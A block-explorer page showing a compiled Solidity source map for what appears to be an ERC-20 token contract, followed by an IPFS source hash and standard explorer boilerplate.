8729:40:::1;::::0;8766:1:::1;::::0;-1:-1:-1;;;;;8750:6:0::1;::::0;8729:40:::1;::::0;8766:1;;8729:40:::1;8780:6;:19:::0;;-1:-1:-1;;;;;;8780:19:0::1;::::0;;8659:148::o;12403:222::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;12492:13:::1;::::0;-1:-1:-1;;;;;12492:13:0;;::::1;12484:21:::0;;::::1;::::0;12476:75:::1;;;::::0;-1:-1:-1;;;12476:75:0;;7324:2:1;12476:75:0::1;::::0;::::1;7306:21:1::0;7363:2;7343:18;;;7336:30;7402:34;7382:18;;;7375:62;-1:-1:-1;;;7453:18:1;;;7446:40;7503:19;;12476:75:0::1;7122:406:1::0;12476:75:0::1;-1:-1:-1::0;;;;;12562:11:0;::::1;;::::0;;;:5:::1;:11;::::0;;;;;:19;;-1:-1:-1;;12562:19:0::1;::::0;::::1;;::::0;;::::1;::::0;;;12597:20;;12562:19;;:11;12597:20:::1;::::0;::::1;12403:222:::0;;:::o;4232:104::-;4288:13;4321:7;4314:14;;;;;:::i;6330:482::-;256:10;6450:4;6499:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;6499:34:0;;;;;;;;;;6566:35;;;;6544:122;;;;-1:-1:-1;;;6544:122:0;;7735:2:1;6544:122:0;;;7717:21:1;7774:2;7754:18;;;7747:30;7813:34;7793:18;;;7786:62;-1:-1:-1;;;7864:18:1;;;7857:35;7909:19;;6544:122:0;7533:401:1;6544:122:0;6702:67;256:10;6725:7;6753:15;6734:16;:34;6702:8;:67::i;:::-;-1:-1:-1;6800:4:0;;6330:482;-1:-1:-1;;;6330:482:0:o;4746:216::-;4868:4;4890:42;256:10;4914:9;4925:6;4890:9;:42::i;12916:182::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13001:28:0;::::1;;::::0;;;:19:::1;:28;::::0;;;;;;;;:39;;-1:-1:-1;;13001:39:0::1;::::0;::::1;;::::0;;::::1;::::0;;;13056:34;;1674:41:1;;;13056:34:0::1;::::0;1647:18:1;13056:34:0::1;;;;;;;12916:182:::0;;:::o;16715:360::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;16844:6:::1;16819:22;:20;:22::i;:::-;:31;;;;:::i;:::-;16806:9;:44;;16798:110;;;::::0;-1:-1:-1;;;16798:110:0;;8363:2:1;16798:110:0::1;::::0;::::1;8345:21:1::0;8402:2;8382:18;;;8375:30;8441:34;8421:18;;;8414:62;-1:-1:-1;;;8492:18:1;;;8485:51;8553:19;;16798:110:0::1;8161:417:1::0;16798:110:0::1;16965:4;16940:22;:20;:22::i;:::-;:29;;;;:::i;:::-;16927:9;:42;;16919:107;;;::::0;-1:-1:-1;;;16919:107:0;;8785:2:1;16919:107:0::1;::::0;::::1;8767:21:1::0;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:50;8974:19;;16919:107:0::1;8583:416:1::0;16919:107:0::1;17037:18;:30:::0;16715:360::o;8815:281::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8918:22:0;::::1;8896:110;;;::::0;-1:-1:-1;;;8896:110:0;;9206:2:1;8896:110:0::1;::::0;::::1;9188:21:1::0;9245:2;9225:18;;;9218:30;9284:34;9264:18;;;9257:62;-1:-1:-1;;;9335:18:1;;;9328:36;9381:19;;8896:110:0::1;9004:402:1::0;8896:110:0::1;9043:6;::::0;9022:38:::1;::::0;-1:-1:-1;;;;;9022:38:0;;::::1;::::0;9043:6:::1;::::0;9022:38:::1;::::0;9043:6:::1;::::0;9022:38:::1;9071:6;:17:::0;;-1:-1:-1;;;;;;9071:17:0::1;-1:-1:-1::0;;;;;9071:17:0;;;::::1;::::0;;;::::1;::::0;;8815:281::o;15654:161::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;15749:58:::1;::::0;15712:12:::1;::::0;15757:10:::1;::::0;15781:21:::1;::::0;15712:12;15749:58;15712:12;15749:58;15781:21;15757:10;15749:58:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;;;15654:161:0:o;16464:79::-;8572:6;;-1:-1:-1;;;;;8572:6:0;256:10;8572:22;8564:67;;;;-1:-1:-1;;;8564:67:0;;;;;;;:::i;:::-;16521:6:::1;:14:::0;;-1:-1:-1;;16521:14:0::1;::::0;;16464:79::o;7714:380::-;-1:-1:-1;;;;;7850:19:0;;7842:68;;;;-1:-1:-1;;;7842:68:0;;9823:2:1;7842:68:0;;;9805:21:1;9862:2;9842:18;;;9835:30;9901:34;9881:18;;;9874:62;-1:-1:-1;;;9952:18:1;;;9945:34;9996:19;;7842:68:0;9621:400:1;7842:68:0;-1:-1:-1;;;;;7929:21:0;;7921:68;;;;-1:-1:-1;;;7921:68:0;;10228:2:1;7921:68:0;;;10210:21:1;10267:2;10247:18;;;10240:30;10306:34;10286:18;;;10279:62;-1:-1:-1;;;10357:18:1;;;10350:32;10399:19;;7921:68:0;10026:398:1;7921:68:0;-1:-1:-1;;;;;8002:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8054:32;;160:25:1;;;8054:32:0;;133:18:1;8054:32:0;;;;;;;7714:380;;;:::o;13321:1545::-;-1:-1:-1;;;;;13453:18:0;;13445:68;;;;-1:-1:-1;;;13445:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;13532:16:0;;13524:64;;;;-1:-1:-1;;;13524:64:0;;;;;;;:::i;:::-;13616:1;13607:6;:10;13599:52;;;;-1:-1:-1;;;13599:52:0;;11441:2:1;13599:52:0;;;11423:21:1;11480:2;11460:18;;;11453:30;11519:31;11499:18;;;11492:59;11568:18;;13599:52:0;11239:353:1;13599:52:0;13688:1;13668:17;;:21;:50;;;;-1:-1:-1;;;;;;13693:25:0;;;;;;:19;:25;;;;;;;;13668:50;13664:1141;;;13733:27;13749:2;13753:6;13733:15;:27::i;:::-;13321:1545;;;:::o;13664:1141::-;13821:1;13801:17;;:21;:51;;;;-1:-1:-1;;;;;;13827:25:0;;;;;;:19;:25;;;;;;;;13826:26;13801:51;:79;;;;-1:-1:-1;;;;;;13857:23:0;;;;;;:19;:23;;;;;;;;13856:24;13801:79;13797:1008;;;13901:6;;;;13897:111;;;13962:2;13946:13;4533:12;;;4445:108;13946:13;:18;;;;:::i;:::-;13936:6;:28;;13928:64;;;;-1:-1:-1;;;13928:64:0;;11799:2:1;13928:64:0;;;11781:21:1;11838:2;11818:18;;;11811:30;11877:25;11857:18;;;11850:53;11920:18;;13928:64:0;11597:347:1;13928:64:0;14144:11;;14024:12;;;;;;14144:11;;:24;;;;-1:-1:-1;14160:8:0;;-1:-1:-1;;;14160:8:0;;;;14159:9;14144:24;14140:160;;;14189:8;:15;;-1:-1:-1;;;;14189:15:0;-1:-1:-1;;;14189:15:0;;;14223:26;14232:4;14238:2;14242:6;14223:8;:26::i;:::-;14268:8;:16;;-1:-1:-1;;;;14268:16:0;;;14140:160;-1:-1:-1;;;;;14320:9:0;;;;;;:5;:9;;;;;;;;:19;;;;;14338:1;14332:3;:7;14320:19;14316:340;;;14384:3;14368:12;14377:3;14368:6;:12;:::i;:::-;14367:20;;;;:::i;:::-;14360:27;;14316:340;;;14432:1;14426:3;:7;:22;;;;-1:-1:-1;;;;;;14437:11:0;;;;;;:5;:11;;;;;;;;14426:22;14422:234;;;14511:9;14490:17;;14472:15;:35;;;;:::i;:::-;:48;;:69;;;;-1:-1:-1;;;;;;14524:12:0;;;;;;:8;:12;;;;;;:17;14472:69;14469:125;;;-1:-1:-1;;;;;14564:12:0;;;;;;:8;:12;;;;;14579:15;14564:30;;14469:125;14637:3;14621:12;14630:3;14621:6;:12;:::i;:::-;14620:20;;;;:::i;:::-;14613:27;;14422:234;14676:8;;14672:91;;14705:42;14721:4;14735;14742;14705:15;:42::i;:::-;14779:14;14789:4;14779:14;;:::i;:::-;;;13882:923;;;13797:1008;14825:33;14841:4;14847:2;14851:6;14825:15;:33::i;6820:227::-;-1:-1:-1;;;;;6935:23:0;;6927:71;;;;-1:-1:-1;;;6927:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7009:20:0;;:9;:20;;;;;;;;;;:30;;7033:6;;7009:9;:30;;7033:6;;7009:30;:::i;:::-;;;;-1:-1:-1;;;;6820:227:0:o;14874:772::-;14953:11;14991;15046:1;15034:9;15040:3;14991:26;15034:9;:::i;:::-;:13;15030:437;;;15062:20;15085:24;15103:4;15085:9;:24::i;:::-;15146:16;;;15160:1;15146:16;;;;;;;;15062:47;;-1:-1:-1;15122:21:0;;15146:16;;;;;;;;;;;;-1:-1:-1;15146:16:0;15122:40;;15193:4;15175;15180:1;15175:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;15175:23:0;;;-1:-1:-1;;;;;15175:23:0;;;;;15221:9;-1:-1:-1;;;;;15221:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;15211:4;15216:1;15211:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;15211:26:0;;;:7;;;;;;;;;:26;15252:203;;-1:-1:-1;;;15252:203:0;;:9;:60;;;;;;:203;;15329:12;;15358:1;;15376:4;;15405;;15427:15;;15252:203;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15049:418;;15030:437;15560:26;;-1:-1:-1;;13598:2:1;13594:15;;;13590:24;;15560:26:0;;;13578:37:1;13649:15;;;13645:24;13631:12;;;13624:46;15477:12:0;;-1:-1:-1;;;;;15514:10:0;:15;;15537:21;;13686:12:1;;15560:26:0;;;-1:-1:-1;;15560:26:0;;;;;;;;;;15514:73;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;15500:87;;;;;15607:7;15599:39;;;;-1:-1:-1;;;15599:39:0;;14203:2:1;15599:39:0;;;14185:21:1;14242:2;14222:18;;;14215:30;-1:-1:-1;;;14261:18:1;;;14254:49;14320:18;;15599:39:0;14001:343:1;15599:39:0;14942:704;;;14874:772;;;:::o;7055:651::-;-1:-1:-1;;;;;7195:20:0;;7187:70;;;;-1:-1:-1;;;7187:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7276:23:0;;7268:71;;;;-1:-1:-1;;;7268:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7376:17:0;;7352:21;7376:17;;;;;;;;;;;7426:23;;;;7404:111;;;;-1:-1:-1;;;7404:111:0;;14551:2:1;7404:111:0;;;14533:21:1;14590:2;14570:18;;;14563:30;14629:34;14609:18;;;14602:62;-1:-1:-1;;;14680:18:1;;;14673:36;14726:19;;7404:111:0;14349:402:1;7404:111:0;-1:-1:-1;;;;;7551:17:0;;;:9;:17;;;;;;;;;;;7571:22;;;7551:42;;7615:20;;;;;;;;:30;;7587:6;;7551:9;7615:30;;7587:6;;7615:30;:::i;:::-;;;;;;;;7680:9;-1:-1:-1;;;;;7663:35:0;7672:6;-1:-1:-1;;;;;7663:35:0;;7691:6;7663:35;;;;160:25:1;;148:2;133:18;;14:177;7663:35:0;;;;;;;;7176:530;7055:651;;;:::o;196:250:1:-;281:1;291:113;305:6;302:1;299:13;291:113;;;381:11;;;375:18;362:11;;;355:39;327:2;320:10;291:113;;;-1:-1:-1;;438:1:1;420:16;;413:27;196:250::o;451:396::-;600:2;589:9;582:21;563:4;632:6;626:13;675:6;670:2;659:9;655:18;648:34;691:79;763:6;758:2;747:9;743:18;738:2;730:6;726:15;691:79;:::i;:::-;831:2;810:15;-1:-1:-1;;806:29:1;791:45;;;;838:2;787:54;;451:396;-1:-1:-1;;451:396:1:o;1078:131::-;-1:-1:-1;;;;;1153:31:1;;1143:42;;1133:70;;1199:1;1196;1189:12;1133:70;1078:131;:::o;1214:315::-;1282:6;1290;1343:2;1331:9;1322:7;1318:23;1314:32;1311:52;;;1359:1;1356;1349:12;1311:52;1398:9;1385:23;1417:31;1442:5;1417:31;:::i;:::-;1467:5;1519:2;1504:18;;;;1491:32;;-1:-1:-1;;;1214:315:1:o;1726:160::-;1791:20;;1847:13;;1840:21;1830:32;;1820:60;;1876:1;1873;1866:12;1820:60;1726:160;;;:::o;1891:180::-;1947:6;2000:2;1988:9;1979:7;1975:23;1971:32;1968:52;;;2016:1;2013;2006:12;1968:52;2039:26;2055:9;2039:26;:::i;:::-;2029:36;1891:180;-1:-1:-1;;;1891:180:1:o;2076:247::-;2135:6;2188:2;2176:9;2167:7;2163:23;2159:32;2156:52;;;2204:1;2201;2194:12;2156:52;2243:9;2230:23;2262:31;2287:5;2262:31;:::i;2328:180::-;2387:6;2440:2;2428:9;2419:7;2415:23;2411:32;2408:52;;;2456:1;2453;2446:12;2408:52;-1:-1:-1;2479:23:1;;2328:180;-1:-1:-1;2328:180:1:o;2513:456::-;2590:6;2598;2606;2659:2;2647:9;2638:7;2634:23;2630:32;2627:52;;;2675:1;2672;2665:12;2627:52;2714:9;2701:23;2733:31;2758:5;2733:31;:::i;:::-;2783:5;-1:-1:-1;2840:2:1;2825:18;;2812:32;2853:33;2812:32;2853:33;:::i;:::-;2513:456;;2905:7;;-1:-1:-1;;;2959:2:1;2944:18;;;;2931:32;;2513:456::o;3371:315::-;3436:6;3444;3497:2;3485:9;3476:7;3472:23;3468:32;3465:52;;;3513:1;3510;3503:12;3465:52;3552:9;3539:23;3571:31;3596:5;3571:31;:::i;:::-;3621:5;-1:-1:-1;3645:35:1;3676:2;3661:18;;3645:35;:::i;:::-;3635:45;;3371:315;;;;;:::o;3691:388::-;3759:6;3767;3820:2;3808:9;3799:7;3795:23;3791:32;3788:52;;;3836:1;3833;3826:12;3788:52;3875:9;3862:23;3894:31;3919:5;3894:31;:::i;:::-;3944:5;-1:-1:-1;4001:2:1;3986:18;;3973:32;4014:33;3973:32;4014:33;:::i;:::-;4066:7;4056:17;;;3691:388;;;;;:::o;4084:356::-;4286:2;4268:21;;;4305:18;;;4298:30;4364:34;4359:2;4344:18;;4337:62;4431:2;4416:18;;4084:356::o;4445:251::-;4515:6;4568:2;4556:9;4547:7;4543:23;4539:32;4536:52;;;4584:1;4581;4574:12;4536:52;4616:9;4610:16;4635:31;4660:5;4635:31;:::i;5622:306::-;5710:6;5718;5726;5779:2;5767:9;5758:7;5754:23;5750:32;5747:52;;;5795:1;5792;5785:12;5747:52;5824:9;5818:16;5808:26;;5874:2;5863:9;5859:18;5853:25;5843:35;;5918:2;5907:9;5903:18;5897:25;5887:35;;5622:306;;;;;:::o;5933:380::-;6012:1;6008:12;;;;6055;;;6076:61;;6130:4;6122:6;6118:17;6108:27;;6076:61;6183:2;6175:6;6172:14;6152:18;6149:38;6146:161;;6229:10;6224:3;6220:20;6217:1;6210:31;6264:4;6261:1;6254:15;6292:4;6289:1;6282:15;6146:161;;5933:380;;;:::o;6727:127::-;6788:10;6783:3;6779:20;6776:1;6769:31;6819:4;6816:1;6809:15;6843:4;6840:1;6833:15;6859:125;6924:9;;;6945:10;;;6942:36;;;6958:18;;:::i;6989:128::-;7056:9;;;7077:11;;;7074:37;;;7091:18;;:::i;7939:217::-;7979:1;8005;7995:132;;8049:10;8044:3;8040:20;8037:1;8030:31;8084:4;8081:1;8074:15;8112:4;8109:1;8102:15;7995:132;-1:-1:-1;8141:9:1;;7939:217::o;10429:401::-;10631:2;10613:21;;;10670:2;10650:18;;;10643:30;10709:34;10704:2;10689:18;;10682:62;-1:-1:-1;;;10775:2:1;10760:18;;10753:35;10820:3;10805:19;;10429:401::o;10835:399::-;11037:2;11019:21;;;11076:2;11056:18;;;11049:30;11115:34;11110:2;11095:18;;11088:62;-1:-1:-1;;;11181:2:1;11166:18;;11159:33;11224:3;11209:19;;10835:399::o;11949:168::-;12022:9;;;12053;;12070:15;;;12064:22;;12050:37;12040:71;;12091:18;;:::i;12254:127::-;12315:10;12310:3;12306:20;12303:1;12296:31;12346:4;12343:1;12336:15;12370:4;12367:1;12360:15;12386:980;12648:4;12696:3;12685:9;12681:19;12727:6;12716:9;12709:25;12753:2;12791:6;12786:2;12775:9;12771:18;12764:34;12834:3;12829:2;12818:9;12814:18;12807:31;12858:6;12893;12887:13;12924:6;12916;12909:22;12962:3;12951:9;12947:19;12940:26;;13001:2;12993:6;12989:15;12975:29;;13022:1;13032:195;13046:6;13043:1;13040:13;13032:195;;;13111:13;;-1:-1:-1;;;;;13107:39:1;13095:52;;13202:15;;;;13167:12;;;;13143:1;13061:9;13032:195;;;-1:-1:-1;;;;;;;13283:32:1;;;;13278:2;13263:18;;13256:60;-1:-1:-1;;;13347:3:1;13332:19;13325:35;13244:3;12386:980;-1:-1:-1;;;12386:980:1:o;13709:287::-;13838:3;13876:6;13870:13;13892:66;13951:6;13946:3;13939:4;13931:6;13927:17;13892:66;:::i;:::-;13974:16;;;;;13709:287;-1:-1:-1;;13709:287:1:o

Swarm Source

ipfs://13d5292e33d8f2af05fba91c1f2b91fb24a6aac7667fa9f1d60f9e0e1d158ca3
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.